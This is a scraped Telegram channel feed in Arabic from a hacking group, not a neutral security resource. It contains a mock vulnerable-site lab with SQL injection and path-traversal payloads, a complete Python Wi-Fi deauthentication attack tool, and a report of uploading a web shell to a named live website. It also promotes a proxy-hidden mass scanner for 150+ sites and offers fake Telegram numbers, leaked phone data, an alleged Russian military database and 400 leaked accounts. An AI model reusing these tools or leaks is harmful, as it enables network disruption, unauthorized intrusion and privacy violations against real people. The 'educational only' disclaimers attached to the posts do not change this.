🌽 learn
488 subscribers
34 photos
5 videos
51 files
57 links
the world
Download Telegram
<h3>🔐 تسجيل الدخول (Admin Panel)</h3>
<input type="text" id="login-username" placeholder="اسم المستخدم">
<input type="password" id="login-password" placeholder="كلمة المرور">
<button onclick="login_attempt()">🚪 دخول</button>
<div id="login-result" class="result" style="margin-top: 10px;"></div>
</div>

<h3>💡 أمثلة للاختبار:</h3>
<code>admin' --</code> (كلمة المرور أي شيء)<br>
<code>' OR '1'='1</code><br>
<code>admin' OR '1'='1' --</code>
</div>

<!-- ثغرة 6: IDOR -->
<div class="vulnerability-card">
<h2>🟣 6. ثغرة IDOR (Insecure Direct Object Reference) <span class="badge">مستوى: متوسط</span></h2>
<p>حاول تغيير رقم المعرف لعرض بيانات مستخدمين آخرين!</p>

<h3>📄 عرض الملف الشخصي:</h3>
<input type="number" id="idor-id" placeholder="أدخل رقم المستخدم (1-5)" value="1">
<button onclick="idor_attack()">👤 عرض</button>
<div id="idor-result" class="result"></div>
</div>

<!-- ثغرة 7: Path Traversal -->
<div class="vulnerability-card">
<h2>🟤 7. ثغرة اجتياز المسار (Path Traversal) <span class="badge">مستوى: متوسط</span></h2>
<p>حاول قراءة ملفات النظام الحساسة!</p>

<h3>📂 عرض ملف:</h3>
<input type="text" id="path-input" placeholder="اسم الملف (مثال: test.txt)">
<button onclick="path_traversal()">📖 قراءة</button>
<div id="path-result" class="result"></div>

<h3>💡 أمثلة للاختبار:</h3>
<code>../../../../etc/passwd</code><br>
<code>../../windows/win.ini</code><br>
<code>../config.php</code>
</div>
</div>

<footer>
<p>🔒 موقع اختبار اختراق تعليمي - للمطورين والمختبريين الأخلاقيين 🔒</p>
<p>Developed by @X0XjX - لأغراض تعليمية فقط</p>
<p>⚠️ لا تستخدم هذه الثغرات على مواقع حقيقية - هذا الموقع آمن ومعزول ⚠️</p>
</footer>

<script>
// قاعدة بيانات وهمية
const users = [
{ id: 1, username: "admin", password: "admin123", email: "admin@test.com", role: "مدير النظام" },
{ id: 2, username: "user1", password: "pass123", email: "user1@test.com", role: "مستخدم عادي" },
{ id: 3, username: "test", password: "test123", email: "test@test.com", role: "مختبِر" },
{ id: 4, username: "hacker", password: "hack123", email: "hacker@test.com", role: "قرصان أخلاقي" },
{ id: 5, username: "guest", password: "guest", email: "guest@test.com", role: "زائر" }
];

// 1. SQL Injection
function sql_injection() {
let input = document.getElementById('sql-search').value;
let resultDiv = document.getElementById('sql-result');

// محاكاة ثغرة SQL
if (input.includes("'") input.includes("OR") input.includes("--")) {
// عرض جميع البيانات (محاكاة الحقن)
let html = '<table><tr><th>ID</th><th>Username</th><th>Email</th><th>Role</th></tr>';
users.forEach(user => {
html += <tr><td>${user.id}</td><td>${user.username}</td><td>${user.email}</td><td>${user.role}</td></tr>;
});
html += '</table>';
resultDiv.innerHTML = <div class="sql-result"> تم حقن SQL بنجاح! تم عرض جميع المستخدمين:<br>${html}</div>;
resultDiv.innerHTML += <div class="error">⚠️ تحذير: هذه ثغرة حقيقية في قواعد البيانات! تعلم كيفية استخدام prepared statements.</div>;
} else if (input) {
let found = users.find(u => u.username === input);
😘21👍1🥰1😍1
if (found) {
resultDiv.innerHTML = <div class="sql-result"> تم العثور على المستخدم: ${found.username} | البريد: ${found.email} | الدور: ${found.role}</div>;
} else {
resultDiv.innerHTML = <div class="error"> لم يتم العثور على المستخدم: ${input}</div>;
}
} else {
resultDiv.innerHTML = '<div class="error"> الرجاء إدخال اسم مستخدم</div>';
}
}

// 2. XSS Attack
function xss_attack() {
let input = document.getElementById('xss-input').value;
let resultDiv = document.getElementById('xss-result');

if (input) {
// محاكاة XSS - تعرض النص دون تنقية
resultDiv.innerHTML = <div>💬 تعليقك: ${input}</div>;
if (input.includes("<script>") input.includes("onerror") input.includes("onload")) {
resultDiv.innerHTML += <div class="error">⚠️ تم اكتشاف هجوم XSS! هذا الكود تم تنفيذه في المتصفح.</div>;
}
} else {
resultDiv.innerHTML = '<div class="error"> الرجاء كتابة تعليق</div>';
}
}

// 3. File Upload
function upload_file() {
let fileInput = document.getElementById('file-upload');
let resultDiv = document.getElementById('upload-result');

if (fileInput.files.length > 0) {
let file = fileInput.files[0];
resultDiv.innerHTML = <div class="upload-result"> تم رفع الملف: ${file.name} (${(file.size/1024).toFixed(2)} KB)</div>;

if (file.name.endsWith('.php') file.name.endsWith('.html') file.name.endsWith('.js')) {
resultDiv.innerHTML += <div class="error">⚠️ تحذير: هذا الملف يمكن تنفيذه على الخادم! ثغرة رفع الملفات الخبيثة.</div>;
resultDiv.innerHTML += <div class="sql-result">💡 كمخترق: يمكنك الآن الوصول إلى الملف عبر: http://target.com/uploads/${file.name}</div>;
}
} else {
resultDiv.innerHTML = '<div class="error"> الرجاء اختيار ملف</div>';
}
}

// 4. Command Injection
function cmd_injection() {
let input = document.getElementById('cmd-input').value;
let resultDiv = document.getElementById('cmd-result');

if (input) {
let output = "";
if (input.includes(";") input.includes("|") input.includes("&&") input.includes("")) {
output = "📁 محاكاة تنفيذ الأمر:\n";
if (input.includes("ls") || input.includes("dir")) {
output += "Desktop\nDocuments\nDownloads\nconfig.php\nindex.php\n";
}
if (input.includes("cat") || input.includes("type")) {
output += "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n";
}
if (input.includes("whoami")) {
output += "www-data\n";
}
output += \n⚠️ تم حقن الأمر: ${input};
} else {
output = 🏓 Pinging ${input}...\nReply from ${input}: bytes=32 time<1ms TTL=64\nReply from ${input}: bytes=32 time<1ms TTL=64;
}
resultDiv.innerHTML = <div class="sql-result"><pre>${output}</pre></div>;
if (input.includes(";") || input.includes("|")) {
resultDiv.innerHTML += <div class="error">⚠️ هذه ثغرة حقن الأوامر! يمكن للمهاجم تنفيذ أي أمر على الخادم.</div>;
}
🥰2😍2😘2
} else {
resultDiv.innerHTML = '<div class="error"> الرجاء إدخال عنوان IP</div>';
}
}

// 5. Login Bypass
function login_attempt() {
let username = document.getElementById('login-username').value;
let password = document.getElementById('login-password').value;
let resultDiv = document.getElementById('login-result');

// محاكاة ثغرة SQL في تسجيل الدخول
if (username.includes("'") username.includes("OR") username.includes("--")) {
resultDiv.innerHTML = <div class="sql-result"> تم تجاوز تسجيل الدخول! مرحباً مدير النظام.<br>تم الدخول بحقن SQL: ${username}</div>;
resultDiv.innerHTML += <div class="error">⚠️ تحذير: ثغرة خطيرة! يمكن لأي شخص الدخول بدون كلمة مرور.</div>;
} else {
let found = users.find(u => u.username === username && u.password === password);
if (found) {
resultDiv.innerHTML = <div class="sql-result"> مرحباً ${found.username}! تم تسجيل الدخول بنجاح. دورك: ${found.role}</div>;
} else {
resultDiv.innerHTML = <div class="error"> اسم المستخدم أو كلمة المرور غير صحيحة</div>;
}
}
}

// 6. IDOR Attack
function idor_attack() {
let id = parseInt(document.getElementById('idor-id').value);
let resultDiv = document.getElementById('idor-result');

let found = users.find(u => u.id === id);
if (found) {
resultDiv.innerHTML = <div class="sql-result"> ملف المستخدم رقم ${id}:<br>الاسم: ${found.username}<br>البريد: ${found.email}<br>الدور: ${found.role}</div>;
if (id !== 1) {
resultDiv.innerHTML += <div class="error">⚠️ ثغرة IDOR! يمكنك عرض بيانات مستخدمين آخرين بمجرد تغيير رقم المعرف.</div>;
}
} else {
resultDiv.innerHTML = <div class="error"> لا يوجد مستخدم بالرقم ${id}</div>;
}
}

// 7. Path Traversal
function path_traversal() {
let path = document.getElementById('path-input').value;
let resultDiv = document.getElementById('path-result');

if (path) {
if (path.includes("..") path.includes("etc/passwd") path.includes("win.ini")) {
resultDiv.innerHTML = <div class="sql-result"> تم قراءة الملف: ${path}<br><br>${'='*50}<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>${'='*50}<br><br>⚠️ هذه ثغرة اجتياز المسار! يمكن للمهاجم قراءة أي ملف على الخادم.</div>;
} else {
resultDiv.innerHTML = <div class="upload-result"> تم قراءة الملف: ${path}<br><br>محتوى الملف: هذا ملف تجريبي لأغراض تعليمية.</div>;
}
} else {
resultDiv.innerHTML = '<div class="error"> الرجاء إدخال اسم الملف</div>';
}
}
</script>
</body>
</html>
😍31👍1😘1
Forwarded from 🦈SHARK NET
hadha alkud tuqdir tusawiy ealaa shakl milafin watafatih falu mutafahik yasir mawqie hadha alkud almukhasas liaikhtibar kalimat almurur bi 7 kub kuli thagharih washaghlih tabean swit hadha alramz tueibat ealayh wadifat kam shy min dhaka' tabiean
@X0XjX

هذا كود تقدر تسوي على شكل ملف وتفتحه فل متصفحك يصير موقع هذا كود مخصص لختبار الاختراق بي 7 ثغرات كل ثغره وشغله طبعن سويت هذا كود تعبت عليه وضفت كم شي من ذكاء طبعن ❤️‍🔥
@X0XjX
3👍2😍2
Forwarded from 🦈SHARK NET
الي يريد رقم مزيف تلكرام سعر 15 نجمه بس تجيك رساله على ايميل وتنطيني لشكرك رسوم حتا ما يبند حساب 1.70د.ع رقم برزيلي
aly yurid raqm muzayaf tilikram sier 15 najmuh bas tjik risalah ealaa aymil tantini lishukrik rusum hatan ma yubnid hisab 1.70du.e raqm biraziliin

@X0XjX
🥰31👍1🔥1😘1
Forwarded from 🦈SHARK NET
asm almustakhdim tali khiar khudhw hulw
Im_ot

اسم مستخدم تلي متاح خذو حلو
Im_ot

@X0XjX
🥰3😘2😍1
Forwarded from 🦈SHARK NET
kud baythun yastakhrij kalimat murur shabakat alway fay almahfuzat ealaa jihaz Windows.

@X0XjX

كود بايثون يستخرج كلمات مرور شبكات الواي فاي المحفوظة على جهاز Windows.

@X0XjX
👍21🥰1😍1😘1
Forwarded from 🦈SHARK NET
كود شفره.py
14.7 KB
بسم الله الرحمن رحيم ❤️‍🔥
كود شفره تعطي اي نص بدك ويشفر وتقدر تحذف افتح كود وتفهم كلشي يفيد الي يبي يرسل كلام مشفره لصديقه ويفتحه في بايثون وصديقه يعطي كود شفره حتا يشوف يعني هواي اشياء مفيده حين بنزل فديو لشرح بلغه عربيه لاتغير مصدر تعدل عادي بس اذكر مصدر ذمه الي ما يذكر🤓

bism allh alrahman alrahim ❤️‍🔥
kud tashfirih yueti ay nasa bidik wayashfar watuqadir tahadhuf ramz wayatafaham kilshi almufid ali yibi kalam yursil mushfarah lisadiqih wayaftahuh fi baythun wasadiqih yueti ramz tashfirih hatan yashuf yaeni hiway mufiduh hin binazal fidyu lisharh balaghah earabiah lataghayar masdar tueadil eadi bas adhkur dhadhikrah aly ma tadhakar🤓😁

@X0XjX
3😘3👍1😍1
Forwarded from 🦈SHARK NET
معلومات.py
7.3 KB
ادات يبحث عن معلومات مثلن تحط اسم مستخدمك تلكرام وهو يدور وين موجد بكم منصه ويبحث عن ايميل اذا مسرب ويولد كلمات مرور قويه اذا تريد طور ادات عادي بس لا تخمط وتغير حقوق مطور اساسي🤓

@X0XjX
5😍1
Forwarded from 🦈SHARK NET
سلام عليكم اريد موقع ضروري بس يكون بسيط وجديد رح احاول اخترقه ملاحظة بس يكون بيها صفحات رفع ملفات اذا عندك موقع او موقع صاحبك بحاول اسوي اختبار اختراق لكشف ثغرات اذا عندك خاص ❤️‍🔥
@X0XjX

salam ealaykum 'urid mawqie daruriin bas yakun basit wajadid rah hawal aikhtaraqah mulahazat bas yakun byha safahat rafe milafaat adha eindak mawqie aw mawqie sahibik bihawil aswy aikhtibar bilututh likashf alkas adha kan ladayk khasun❤️‍🔥
@X0XjX
🥰21👍1😍1😘1
Forwarded from 🦈SHARK NET
FINAL COMPLETE REPORT - PENETRATION TEST ON fastupload.live

What We Did Step by Step:

First, we scanned the website for file upload pages and discovered 5 dangerous security vulnerabilities, which are: upload.php, ajax/upload.php, filemanager/upload.php, includes/upload.php, and inc/upload.php. Second, we created a malicious Web Shell file named advanced_shell.php, which is a small file that allows an attacker to execute remote commands on the server. Third, we successfully uploaded this malicious file to the website through one of the discovered upload pages, which proves that the vulnerability exists and can be exploited. Fourth, we tried to execute commands on the server such as whoami, pwd, and ls -la, but the attempt failed because the website uses Cloudflare for protection and blocks PHP execution in the uploads folder.

What Could an Attacker Do If the Vulnerability Was Fully Exploitable?

If there was no protection on the website, the attacker would be able to upload a Web Shell and gain full control over the server. They would be able to execute Linux commands like ls to view files, cat to read files, and rm to delete files. They would also be able to access the website's database and steal user phone numbers, passwords, and email addresses. Even worse, they could use your server to attack other websites, making you legally responsible for attacks you never committed.

Why Did Our Attempt Not Fully Succeed?

The command execution failed for three main reasons. First, the website uses Cloudflare which hides the real IP address of the server and provides an additional layer of protection. Second, the uploads folder is configured to block any PHP files from being executed, which is a good security measure. Third, the website has general security settings that prevent full exploitation of the vulnerability.

But The Risk Is Still Real!

Even with Cloudflare and PHP execution blocking, there is still a real risk threatening your website. An attacker can upload malicious HTML pages (Phishing) to steal your visitors' data, or upload JavaScript files to steal logged-in user sessions. They can also upload large files to consume your server's storage space, or store illegal files on your website which exposes you to legal liability.

What Tools Did We Use?

We used Python 3 programming language with the Requests library for HTTP handling, created a Web Shell file named advanced_shell.php, and used rotating proxies to change IP addresses and avoid blocking. These are common tools that real attackers use in their actual attacks.

Final Results:

We successfully discovered the Unrestricted File Upload vulnerability, successfully uploaded a test malicious file to the server, and documented all five upload pages. However, we were unable to execute commands on the server due to the existing security measures on the website.

Final Message to the Website Owner:

Your website has a real and serious file upload vulnerability. We were able to upload a malicious file to your server, which is solid proof that the vulnerability exists. If this was a real attacker and not an ethical test, they would be able to cause significant damage. I strongly advise you to immediately delete or properly secure the discovered upload pages, add an .htaccess file in the uploads folder that blocks any file execution, validate file types before accepting uploads, and monitor your server logs regularly. This vulnerability is critical and needs immediate fixing.

Note:

This test was conducted for educational purposes only with the website owner's permission. The uploaded test file was harmless and no malicious actions were performed. Please take this security report seriously.
3👍3😘1
Forwarded from 🦈SHARK NET
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================
# WifiGod REAL - هجمات حقيقية - للأغراض التعليمية فقط
# ============================================================
# المطور: @X0XjX
# ============================================================

import os
import sys
import time
import subprocess
import socket
import platform
import random

G = '\033[92m'
R = '\033[91m'
Y = '\033[93m'
C = '\033[96m'
RS = '\033[0m'

def print_banner():
print(f"{R}="*60)
print(f"{R} WifiGod REAL - هجمات حقيقية على الواي فاي{RS}")
print(f"{R} للأغراض التعليمية فقط - استخدمها بحذر{RS}")
print(f"{R} المطور: @X0XjX{RS}")
print(f"{R}="*60)

def check_root():
if os.geteuid() != 0:
print(f"{R}[-] يحتاج صلاحيات مدير (Root){RS}")
print(f"{Y}[!] شغله: sudo python3 {sys.argv[0]}{RS}")
return False
return True

def scan_networks_real():
print(f"{Y}[*] جاري مسح الشبكات...{RS}")
try:
result = subprocess.run(['iwconfig'], capture_output=True, text=True)
interfaces = []
for line in result.stdout.split('\n'):
if 'IEEE 802.11' in line:
iface = line.split()[0]
interfaces.append(iface)

if not interfaces:
print(f"{R}[-] لا توجد واجهة لاسلكية{RS}")
return

print(f"{C}[*] الواجهات المتاحة:{RS}")
for i, iface in enumerate(interfaces):
print(f" {i+1}. {iface}")

try:
choice = int(input(f"{Y}[?] اختر رقم الواجهة: {RS}"))
interface = interfaces[choice-1]
except Exception:
interface = interfaces[0]

print(f"{Y}[*] تشغيل وضع المراقبة...{RS}")
subprocess.run(['sudo', 'airmon-ng', 'start', interface], capture_output=True)
mon_interface = f"{interface}mon"

print(f"{Y}[*] بدء المسح... اضغط Ctrl+C للإيقاف بعد 30 ثانية{RS}")
try:
subprocess.run(['sudo', 'airodump-ng', mon_interface, '--output-format', 'csv', '-w', 'scan'], timeout=30)
except subprocess.TimeoutExpired:
pass

try:
with open('scan-01.csv', 'r') as f:
lines = f.readlines()
print(f"\n{G}الشبكات المكتشفة:{RS}")
for line in lines:
if 'Station' in line or 'BSSID' in line:
continue
if ',' in line and 'WPA' in line:
parts = line.split(',')
if len(parts) > 13:
bssid = parts[0].strip()
channel = parts[3].strip()
essid = parts[13].strip()
if essid and essid != '':
print(f" {G}[+] BSSID: {bssid} | القناة: {channel} | SSID: {essid}{RS}")
except Exception:
print(f"{Y}[!] استخدم: sudo airodump-ng {mon_interface}{RS}")

subprocess.run(['sudo', 'airmon-ng', 'stop', mon_interface])
except Exception as e:
print(f"{R}[-] خطأ: {e}{RS}")

def deauth_attack_real():
print(f"{R}{'='*60}{RS}")
print(f"{R}⚠️ هجوم Deauth حقيقي - للأغراض التعليمية فقط ⚠️{RS}")
print(f"{R}{'='*60}{RS}")

try:
result = subprocess.run(['iwconfig'], capture_output=True, text=True)
interfaces = []
for line in result.stdout.split('\n'):
if 'IEEE 802.11' in line:
iface = line.split()[0]
interfaces.append(iface)

if not interfaces:
print(f"{R}[-] لا توجد واجهة{RS}")
return

print(f"{C}[*] الواجهات:{RS}")
for i, iface in enumerate(interfaces):
😘3😍2🥰1
Forwarded from 🦈SHARK NET
print(f" {i+1}. {iface}")

try:
choice = int(input(f"{Y}[?] اختر الواجهة: {RS}"))
interface = interfaces[choice-1]
except Exception:
interface = interfaces[0]

subprocess.run(['sudo', 'airmon-ng', 'start', interface], capture_output=True)
mon_interface = f"{interface}mon"

target_bssid = input(f"{Y}[?] BSSID الهدف: {RS}")
target_channel = input(f"{Y}[?] القناة: {RS}")

print(f"{Y}[*] بدء الهجوم... اضغط Ctrl+C للإيقاف{RS}")
try:
subprocess.run(['sudo', 'aireplay-ng', '-0', '0', '-a', target_bssid, mon_interface])
except KeyboardInterrupt:
print(f"{G}[+] تم الإيقاف{RS}")

subprocess.run(['sudo', 'airmon-ng', 'stop', mon_interface])
except Exception as e:
print(f"{R}[-] خطأ: {e}{RS}")

def network_info_real():
print(f"{Y}[*] معلومات الشبكة:{RS}\n")
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
print(f"{C}اسم الجهاز: {RS}{hostname}")
print(f"{C}IP المحلي: {RS}{local_ip}")
print(f"{C}نظام التشغيل: {RS}{platform.system()}")
except Exception as e:
print(f"{R}[-] خطأ: {e}{RS}")

def main():
if not check_root():
return

print_banner()
print(f"{R}[!] استخدمها فقط على شبكتك المنزلية{RS}\n")

while True:
print(f"""
{C}╔══════════════════════════════════════════════════════════════════╗
║ القائمة الرئيسية ║
╠══════════════════════════════════════════════════════════════════╣
║ [1] مسح الشبكات المحيطة (حقيقي) ║
║ [2] هجوم Deauth - فصل جهاز (حقيقي) ║
║ [3] معلومات الشبكة (حقيقي) ║
║ [q] خروج ║
╚══════════════════════════════════════════════════════════════════╝{RS}
""")

choice = input(f"{Y}[?] اختر: {RS}")

if choice == '1':
scan_networks_real()
elif choice == '2':
deauth_attack_real()
elif choice == '3':
network_info_real()
elif choice == 'q':
print(f"{G}[+] مع السلامة!{RS}")
break
else:
print(f"{R}[-] خيار غير صحيح{RS}")

input(f"\n{C}[ENTER] للمتابعة...{RS}")
os.system('clear' if os.name == 'posix' else 'cls')

if name == "main":
try:
main()
except KeyboardInterrupt:
print(f"\n{R}[!] تم الإيقاف{RS}")
sys.exit(0)
هذا الك
ود هو أداة اختبار اختراق شبكات الواي فاي تسمى WifiGod REAL، وهي مصممة للأغراض التعليمية فقط لتنفيذ هجمات حقيقية على شبكات الواي فاي مثل مسح الشبكات المحيطة باستخدام أداة airodump-ng وهجوم Deauth لفصل الأجهزة من الشبكة باستخدام أداة aireplay-ng، وتتطلب هذه الأداة نظام تشغيل لينكس (يفضل Kali Linux) وبطاقة واي فاي تدعم وضع المراقبة (Monitor Mode) وصلاحيات مدير (Root) لتشغيل الأوامر، بالإضافة إلى تثبيت حزمة aircrack-ng التي تحتوي على الأدوات المطلوبة، ولا تعمل على Android بدون روت أو على نظام Windows، ويمكن تشغيلها عبر كتابة sudo python3 wifigod_real.py في الطرفية بعد تثبيت المتطلبات عبر الأمر sudo apt install aircrack-ng، وتحتوي على ثلاث وظائف رئيسية هي مسح الشبكات المحيطة وهجوم فصل الأجهزة وعرض معلومات الشبكة، وهي أداة خطيرة يجب استخدامها فقط على شبكتك المنزلية الخاصة لأن استخدامها على شبكات الآخرين بدون إذن يعتبر جريمة ويعاقب عليها القانون، والمطور غير مسؤول عن أي استخدام غير قانوني لهذه الأداة.

@X0XjX
👍41🥰1
Forwarded from 🦈SHARK NET
'iistamieun anzil bayanat airqam mukhtaraqih min kam mawqie waeajab bas arqam wahwl ajyb aism wayaha ayha aleiraqiu sajaluu ainzaluu waihtafaluu ghayr dualih qwlwli wabishru😈
@X0XjX
تردون انزل داتا ارقام مخترقه من كم موقع وجبت بس ارقام واحول اجيب اسم وياها عراقي تردون انزل واذا تردون غير دوله قولولي وبشرو اي دوله بللكم بحاول اجيب 😈👀

@X0XjX
😍411👍1😘1
𝓢𝓗𝓐𝓓𝓞𝓦 1.1.1

https://t.me/b3Y9dbbZ9og3MzBk

𝕿𝖍𝖊 𝕳𝖎𝖌𝖍 𝕮𝖔𝖚𝖓𝖈𝖎𝖑 𝖔𝖋 𝕾𝖍𝖆𝖉𝖔𝖜
2🥰2👍1😍1
Forwarded from 🦈SHARK NET
اختبار واختراق موقع.py
21.7 KB
هذه الأداة هي أداة اختبار اختراق شاملة للأغراض التعليمية فقط، تقوم بتحليل نوع الموقع وتقنياته ثم تفحصه بحثاً عن ثغرات SQL Injection و XSS والملفات الحساسة والمسارات الإدارية والمنافذ المفتوحة وصفحات رفع الملفات ورؤوس الأمان، وتستطيع اختبار موقع واحد أو أكثر من 150 موقع دفعة واحدة من خلال ملف يحتوي على روابط، وتستخدم بروكسيات لتغيير الـ IP وإخفاء المصدر أثناء الهجوم، وتنتج تقريراً مفصلاً بالثغرات المكتشفة، وهي خطيرة جداً لأنها يمكن أن تسبب تعطيل الخادم أو اختراق الموقع أو سرقة البيانات أو التحكم بالخادم عن بعد، ولكنها قانونية فقط عند استخدامها على مواقعك الخاصة أو بإذن كتابي من صاحب الموقع، والمطور غير مسؤول عن أي استخدام غير قانوني أو ضرر ينتج عنها.
@X0XjX
😘21👍1🥰1😍1
Forwarded from 🦈SHARK NET
قاعده بينات روسيه عسكريه .7z
19.3 MB
بسم الله الرحمن رحيم ❤️‍🔥
تم تسريب قاعده بينات عسكريه روسيه
ملف ما يفتح بل سهوله 🦈
فستحتاج أولاً إلى فك الضغط عنه باستخدام برنامج مثل (7-Zip أو WinRAR) على الكمبيوتر، أو باستخدام تطبيقات إدارة الملفات على الهاتف التي تدعم صيغة 7z. بعد فك الضغط، ستجد غالباً ملفات نصية (مثل txt أو csv) تحتوي على البيانات التي يمكنك البحث بداخلها عن

bism allh alrahman alrahim ❤️‍🔥
tama qubuluh bayinat easkarih rusih
milafu ma yuftah bal suhuluh 🦈
fasatahtaj 'iilaa barnamaj faki aldaght biastikhdam barnamaj mithl (7-Zip 'aw WinRAR) ealaa alkumbuyutar, 'aw aistikhdam tatbiqat 'iidarat almilafaat ealaa alhatif alati tadeam sighatan 7z. baed 'an tahtawi ealaa daght aldum, yataeayan ealayk muezam almilafaat alnasiya (mathal txt 'aw csv) ealaa albayanat alati yumkinuk albahth eanha

@X0XjX
😘42
Forwarded from 🦈SHARK NET
قاعده بينات جه اتصال.pdf
306.1 KB
بسم الله الرحمن رحيم ❤️‍🔥

تم تسريب قاعده بينات تضم 400 حساب اسم حساب رابط حساب وصف حساب مسرب

@X0XjX

bism allh alrahman alrahim ❤️‍🔥
tama mafi qaeiduh bayinat daman 400 hisab asm hisab rabit hisab wasf hisab musrib
@X0XjX
2😍2👍1😘1
Forwarded from 🦈SHARK NET
تكمله.pdf
785 KB
بسم الله الرحمن رحيم ❤️‍🔥

تم تسريب قاعده بينات تضم 400 حساب اسم حساب رابط حساب وصف حساب مسرب

@X0XjX

bism allh alrahman alrahim ❤️‍🔥
tama mafi qaeiduh bayinat daman 400 hisab asm hisab rabit hisab wasf hisab musrib
@X0XjX
👍3🥰2😘1